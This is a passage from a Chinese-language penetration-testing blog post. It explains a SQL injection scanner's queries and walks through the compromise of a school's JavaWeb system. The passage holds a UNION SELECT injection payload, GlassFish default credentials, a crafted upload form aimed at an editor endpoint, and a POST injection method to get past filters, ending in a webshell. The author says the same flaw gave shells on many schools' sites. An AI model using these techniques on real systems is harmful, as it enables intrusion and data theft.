            ?enter image description here

            FireFox執行的結果:

            enter image description here

            讓我們來還原上面的那句廢話:

            select file_priv from mysql.user where user=root
            

            ?enter image description here

            上面很長很臭的SQL翻譯過來就這么短的一句查詢的結果就一個得到的信息就是:

            有沒有file_priv權限。而file_priv應該就是文件讀寫權限了(沒看手冊,應該八九不離十)。如果不是Y是N那就不能load_file 、into outfile、dumpfile咯。

            接著看下一條SQL:

            SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)--
            

            enter image description here

            /*[h4ckinger]asim[/h4ckinger] 這段SQL看不出來有什么實際意義,沒有對數據庫進行任何操作。對應的SQL是:

            select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/
            

            沒用的東西不管下一條也是點擊start后的最后一條SQL同上。 那么我們可以知道點擊注入點檢測程序一共做了:

            1、是否存在注入點
            2、注入點的字段數量
            3、注入點獲取Mysql的版本信息、用戶信息、數據庫名等。
            4、是否有file_priv也就是是否能夠讀寫硬盤文件。
            

            程序邏輯分析:

            1、獲取URL是否存在
            2、獲取URL地址并進行參數分析
            3、提交and 1=1 and 1=2進行布爾判斷,獲取服務器的響應碼判斷是否存在SQL注入。
            4、提交占位符獲取注入點查詢的字段數嘗試order by 注入。
            5、提交MYSQL自帶的函數獲取MYSQL版本信息、用戶信息、數據庫名等信息。
            6、檢測是否有load_file和outfile、dumpfile等權限。
            

            SQL注入之獲取所有用戶表:

            1、Mssql:select name from master.dbo.sysdatabase
            2、Mysql:show databases
            3、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid
            4、Oracle:SELECT * FROM ALL_TABLES
            


            0x03 簡單實戰


            本次實戰并沒有什么難度,感覺找一個能把前面的都串起來的demo太難了。本次實戰的目標是某中學,網站使用JavaWeb開發。去年的時候通過POST注入繞過了GET的防注入檢測。對其和開發商的官網都做了SQL注入檢測,然后加了開發商的QQ通知修補。

            ?enter image description here

            前不久再去測試的時候發現漏洞已經被修補了,圍觀了下開發商后發現其用的是glassfish:

            ?enter image description here

            enter image description here

            嘗試從服務器弱口令入口了入手但是失敗了glassfish的默認管理帳號是admin密碼是adminadmin,如果能過登錄glassfish的后臺可以直接部署一個war去getshell。 ? enter image description here

            由于沒有使用如Struts2之類的MVC框架所以google了下他的jsp,-News參數表示不希望在搜索結果中包含帶有-News的結果。 ? enter image description here

            通過GOOGLE找到一處flash上傳點,值得注意的是在項目當中上傳下載一般作為一個共有的業務,所以可能存在一致性也就是此處要是上傳不成功恐怕到了后臺也不會成功。企圖上傳shell:

            ?enter image description here

            上傳文件:

            因為tamper data 沒法攔截flash請求,所以通過chrome的攔截記錄開始構建上傳:

            <html><head>
            <title></title></head>
            <body>
            <form enctype="multipart/form-data" action="http://www.x.cn/webschool/xheditor/upload.jsp?moduleId=98&limitExt=all&sid=0" method="post">
            <input name="filedata" type="file"><br>
            <input type="submit" value="上傳文件">
            </form>
            </body>
            </html>
            

            enter image description here

            好吧支持txt.html.exe什么的先來個txt: ? enter image description here

            一般來說我比較關注邏輯漏洞,比如找回密碼,查看頁面源碼后還真就發現了點貓膩有DWR框架。

            DWR框架:

            DWR就是一個奇葩,人家都是想著怎么樣去解耦,他倒好直接把js和后端java給耦合在一起了。DWR(Direct Web Remoting)是一個用于改善web頁面與Java類交互的遠程服務器端Ajax開源框架,可以幫助開發人員開發包含AJAX技術的網站。它可以允許在瀏覽器里的代碼使用運行在WEB服務器上的JAVA方法,就像它就在瀏覽器里一樣。

            ?enter image description here

            再次利用chrome抓網絡請求,居然發現后臺把用戶的密碼都給返回了,這不科學啊: ? enter image description here

            與此同時我把google到的動態連接都打開,比較輕易的就發現了一處SQL注入漏洞,依舊用POST提交吧,以免他的防注入又把我攔截下來了(再次提醒普通的防注入普遍防的是GET請求,POST過去很多防注入都傻逼了,Jsp里面request.getParameter("parameter")GET和POST方式提交的參數都能過獲取到的): ? enter image description here

            破MD5,進后臺改上傳文件擴展名限制拿shell都一氣呵成了:

            ?enter image description here

            GETSHELL: ? enter image description here

            可能實戰寫的有點簡單了一點,湊合這看吧。由于這是一套通用系統,很輕易的通過該系統漏洞拿到很多學校的shell,截圖中可能有漏點,希望看文章的請勿對其進行攻擊!

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线